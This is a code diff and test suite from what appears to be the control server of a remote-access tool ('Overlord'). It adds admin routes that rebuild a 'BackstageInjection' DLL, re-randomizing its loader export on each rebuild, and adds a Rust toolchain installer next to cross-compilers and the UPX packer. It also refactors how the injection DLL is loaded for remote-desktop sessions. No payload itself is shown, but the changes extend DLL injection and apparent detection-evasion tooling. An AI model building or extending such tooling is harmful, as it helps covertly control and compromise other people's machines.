const viewer = await createUser(
`backstage_dll_viewer_${Date.now().toString(36)}`,
"Aa1!BackstageDllViewer_2026",
"viewer",
"test",
);
if (!viewer.success || !viewer.userId) throw new Error("failed to create viewer test user");
viewerUserId = viewer.userId;
viewerToken = await generateToken(getUserById(viewerUserId)!);
// Start from a known state so the test is order-independent.
await updateBackstageDllConfig({ rebuildOnStartup: false });
});
afterAll(async () => {
await updateBackstageDllConfig({ rebuildOnStartup: false });
if (adminUserId) deleteUser(adminUserId);
if (viewerUserId) deleteUser(viewerUserId);
});
describe("backstage DLL settings routes", () => {
test("GET returns config and current status for any authenticated user", async () => {
const url = new URL("https://localhost/api/settings/backstage-dll");
const res = await handleMiscRoutes(
new Request(url, { headers: { Cookie: `overlord_token=${viewerToken}` } }),
url,
deps,
);
expect(res?.status).toBe(200);
const body: any = await res!.json();
expect(body.backstageDll).toEqual({ rebuildOnStartup: false });
expect(body.status.outputPath).toBeTruthy();
expect(typeof body.status.exists).toBe("boolean");
expect(typeof body.status.building).toBe("boolean");
});
test("GET without a session is unauthorized", async () => {
const url = new URL("https://localhost/api/settings/backstage-dll");
const res = await handleMiscRoutes(new Request(url), url, deps);
expect(res?.status).toBe(401);
});
test("admin can toggle rebuildOnStartup", async () => {
const url = new URL("https://localhost/api/settings/backstage-dll");
const res = await handleMiscRoutes(
new Request(url, {
method: "PUT",
headers: {
Cookie: `overlord_token=${adminToken}`,
"Content-Type": "application/json",
},
body: JSON.stringify({ rebuildOnStartup: true }),
}),
url,
deps,
);
expect(res?.status).toBe(200);
const body: any = await res!.json();
expect(body.backstageDll.rebuildOnStartup).toBe(true);
expect(getConfig().backstageDll.rebuildOnStartup).toBe(true);
});
test("viewer cannot toggle rebuildOnStartup", async () => {
const url = new URL("https://localhost/api/settings/backstage-dll");
const res = await handleMiscRoutes(
new Request(url, {
method: "PUT",
headers: {
Cookie: `overlord_token=${viewerToken}`,
"Content-Type": "application/json",
},
body: JSON.stringify({ rebuildOnStartup: true }),
}),
url,
deps,
);
expect(res?.status).toBe(403);
});
test("admin can start a rebuild", async () => {
const url = new URL("https://localhost/api/settings/backstage-dll/rebuild");
const res = await handleMiscRoutes(
new Request(url, {
method: "POST",
headers: { Cookie: `overlord_token=${adminToken}` },
}),
url,
deps,
);
expect(res?.status).toBe(200);
const body: any = await res!.json();
expect(body.ok).toBe(true);
});
test("viewer cannot start a rebuild", async () => {
const url = new URL("https://localhost/api/settings/backstage-dll/rebuild");
const res = await handleMiscRoutes(
new Request(url, {
method: "POST",
headers: { Cookie: `overlord_token=${viewerToken}` },
}),
url,
deps,
);
expect(res?.status).toBe(403);
});
});
@@ -1,7 +1,8 @@
import { authenticateRequest } from "../../auth";
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
import { logger } from "../../logger";
import { getConfig, updateSecurityConfig, updateTlsConfig, updateOidcConfig, updateAppearanceConfig, updateChatConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig, updateInputArchiveConfig, updateFileTransfersConfig } from "../../config";
import { getConfig, updateSecurityConfig, updateTlsConfig, updateOidcConfig, updateAppearanceConfig, updateChatConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig, updateInputArchiveConfig, updateFileTransfersConfig, updateBackstageDllConfig } from "../../config";
import { getBackstageDllStatus, rebuildBackstageDll } from "../backstage-dll-manager";
import {
saveBrandingImage,
getClientMetricsSummary,
@@ -1567,6 +1568,82 @@ export async function handleMiscRoutes(
}
}
// ── Backstage DLL management (GET: any user, PUT/POST: admin only) ─────
if (url.pathname === "/api/settings/backstage-dll") {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
if (req.method === "GET") {
return Response.json(
{ backstageDll: getConfig().backstageDll, status: getBackstageDllStatus() },
{ headers: deps.CORS_HEADERS },
);
}
if (req.method === "PUT") {
try { requirePermission(user, "system:backstage-dll"); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); }
let body: any = {};
try { body = await req.json(); } catch {
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
const updated = await updateBackstageDllConfig({
rebuildOnStartup:
body?.rebuildOnStartup !== undefined ? Boolean(body.rebuildOnStartup) : undefined,
});
logAudit({
timestamp: Date.now(),
username: user.username,
ip: deps.requestIP?.(req)?.address || "unknown",
action: AuditAction.COMMAND,
details: `Updated Backstage DLL settings (rebuildOnStartup=${updated.rebuildOnStartup})`,
success: true,
});
return Response.json(
{ ok: true, backstageDll: updated, status: getBackstageDllStatus() },
{ headers: deps.CORS_HEADERS },
);
}
}
// POST /api/settings/backstage-dll/rebuild
if (req.method === "POST" && url.pathname === "/api/settings/backstage-dll/rebuild") {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try { requirePermission(user, "system:backstage-dll"); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); }
const status = getBackstageDllStatus();
if (status.building) {
return Response.json(
{ ok: false, message: "A rebuild is already in progress." },
{ status: 409, headers: deps.CORS_HEADERS },
);
}
logAudit({
timestamp: Date.now(),
username: user.username,
ip: deps.requestIP?.(req)?.address || "unknown",
action: AuditAction.COMMAND,
details: "Triggered BackstageInjection DLL rebuild (re-randomize loader export)",
success: true,
});
// Kick off in the background so the HTTP request returns immediately; the
// UI polls GET /api/settings/backstage-dll for progress.
rebuildBackstageDll().catch((error: any) => {
logger.error(`[backstage-dll] background rebuild error: ${error?.message || error}`);
});
return Response.json(
{ ok: true, message: "Rebuild started in the background.", status },
{ headers: deps.CORS_HEADERS },
);
}
// GET /api/settings/health
if (req.method === "GET" && url.pathname === "/api/settings/health") {
const user = await authenticateRequest(req);
@@ -14,7 +14,8 @@ export type ToolchainKey =
| "linux-musl-armv7"
| "android-ndk"
| "ldid"
| "upx";
| "upx"
| "rust";
export type EnsuredToolchain = {
key: ToolchainKey;
@@ -25,7 +26,7 @@ export type EnsuredToolchain = {
rootDir: string;
};
type ArchiveFormat = "tar.gz" | "tar.xz" | "zip" | "binary";
type ArchiveFormat = "tar.gz" | "tar.xz" | "zip" | "binary" | "rustup";
type Manifest = {
displayName: string;
@@ -37,6 +38,7 @@ type Manifest = {
cxxBasename?: string;
arBasename?: string;
binaryFilename?: string;
pathBasename?: string;
};
const ANDROID_NDK_VERSION = "r27c";
@@ -49,6 +51,28 @@ function ldidArch(): string {
return process.arch === "arm64" ? "aarch64" : "x86_64";
}
// Rust toolchain pinned to the same version the Docker builder installs.
const RUST_VERSION = "1.85.0";
// The windows-gnu std is fetched from the rustup dist server regardless of host
// triple via `--target x86_64-pc-windows-gnu`; only the rustup-init binary is
// host-specific.
const RUST_TARGET = "x86_64-pc-windows-gnu";
function rustupInitUrl(): string {
const platform = process.platform;
const arch = process.arch;
let triple: string;
if (platform === "win32") {
triple = arch === "arm64" ? "aarch64-pc-windows-msvc" : "x86_64-pc-windows-msvc";
} else if (platform === "darwin") {
triple = arch === "arm64" ? "aarch64-apple-darwin" : "x86_64-apple-darwin";
} else {
triple = arch === "arm64" ? "aarch64-unknown-linux-gnu" : "x86_64-unknown-linux-gnu";
}
return `https://static.rust-lang.org/rustup/dist/${triple}/rustup-init${platform === "win32" ? ".exe" : ""}`;
}
const MANIFESTS: Record<ToolchainKey, Manifest> = {
"mingw-w64-x64": {
displayName: "mingw-w64 x86_64 cross-compiler",
@@ -124,6 +148,14 @@ const MANIFESTS: Record<ToolchainKey, Manifest> = {
binSubdir: "upx-4.2.4-amd64_linux",
binaryFilename: "upx",
},
rust: {
displayName: `Rust toolchain ${RUST_VERSION} (rustup minimal, ${RUST_TARGET} target)`,
url: rustupInitUrl(),
approxSizeMB: 260,
archive: "rustup",
binSubdir: "cargo/bin",
pathBasename: "cargo",
},
};
const inFlight = new Map<ToolchainKey, Promise<EnsuredToolchain>>();
@@ -237,6 +269,35 @@ async function downloadAndExtract(
fs.chmodSync(finalBin, 0o755);
break;
}
case "rustup": {
// rustup-init is an installer, not an archive. Rename the download to its
// canonical name and run it with RUSTUP_HOME/CARGO_HOME pointing inside
// tmpDir, so the whole toolchain tree is atomically published into the
// data dir afterwards by the standard rename below.
const exeName = process.platform === "win32" ? "rustup-init.exe" : "rustup-init";
const initPath = path.join(tmpDir, exeName);
fs.renameSync(archivePath, initPath);
if (process.platform !== "win32") fs.chmodSync(initPath, 0o755);
const rustupHome = path.join(tmpDir, "rustup");
const cargoHome = path.join(tmpDir, "cargo");
fs.mkdirSync(rustupHome, { recursive: true });
fs.mkdirSync(cargoHome, { recursive: true });
fs.mkdirSync(path.join(cargoHome, "bin"), { recursive: true });
send({
type: "output",
text: `[toolchain] Installing ${m.displayName} (downloads Rust std + ${RUST_TARGET} target)...\n`,
level: "info",
});
const r = await $`${initPath} -y --no-modify-path --default-toolchain ${RUST_VERSION} --profile minimal --target ${RUST_TARGET}`
.env({ RUSTUP_HOME: rustupHome, CARGO_HOME: cargoHome })
.nothrow();
if (r.exitCode !== 0) {
const detail =
r.stderr.toString().trim() || r.stdout.toString().trim() || "no output";
throw new Error(`rustup-init install failed for ${key} (exit ${r.exitCode}): ${detail}`);
}
break;
}
}
// Atomic publish: rename tmpDir → rootDir. If another process already
@@ -265,7 +326,7 @@ async function downloadAndExtract(
function tryResolveFromPath(key: ToolchainKey): EnsuredToolchain | null {
const m = MANIFESTS[key];
const primaryBin = m.ccBasename || m.binaryFilename;
const primaryBin = m.pathBasename || m.ccBasename || m.binaryFilename;
if (!primaryBin) return null;
const found = Bun.which(primaryBin);
@@ -1,13 +1,11 @@
import type { ServerWebSocket } from "bun";
import { v4 as uuidv4 } from "uuid";
import { existsSync, readFileSync } from "fs";
import path from "path";
import * as clientManager from "../clientManager";
import { logger } from "../logger";
import { negotiateDesktopCodec } from "./desktop-codec-negotiation";
import { metrics } from "../metrics";
import { encodeMessage } from "../protocol";
import { resolveRuntimeRoot } from "./runtime-paths";
import { getInjectionDllBytes } from "./backstage-dll-cache";
import * as sessionManager from "../sessions/sessionManager";
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";
@@ -34,54 +32,6 @@ import {
stopRemoteDesktopRecording,
} from "./rd-recording";
let _cachedInjectionDll: Uint8Array | null = null;
let _dllCachePath: string | null = null;
let _dllCacheMtimeMs: number = 0;
function getInjectionDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot();
const candidates = [
path.resolve(runtimeRoot, "dist-clients", "BackstageInjection.x64.dll"),
path.resolve(process.cwd(), "dist-clients", "BackstageInjection.x64.dll"),
path.resolve(import.meta.dir, "../../dist-clients/BackstageInjection.x64.dll"),
];
if (_dllCachePath) {
try {
const { statSync } = require("fs");
const st = statSync(_dllCachePath);
if (st.mtimeMs === _dllCacheMtimeMs && _cachedInjectionDll) {
return _cachedInjectionDll;
}
_cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath));
_dllCacheMtimeMs = st.mtimeMs;
logger.info(`[backstage] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
return _cachedInjectionDll;
} catch {
_dllCachePath = null;
_cachedInjectionDll = null;
}
}
for (const dllPath of candidates) {
if (!existsSync(dllPath)) continue;
try {
const { statSync } = require("fs");
const st = statSync(dllPath);
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
_dllCachePath = dllPath;
_dllCacheMtimeMs = st.mtimeMs;
logger.info(`[backstage] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
return _cachedInjectionDll;
} catch {
continue;
}
}
logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`);
return null;
}
const VIEWER_BACKPRESSURE_BYTES = Math.max(
64 * 1024,
Number(process.env.OVERLORD_MEDIA_VIEWER_BACKPRESSURE_BYTES || 512 * 1024),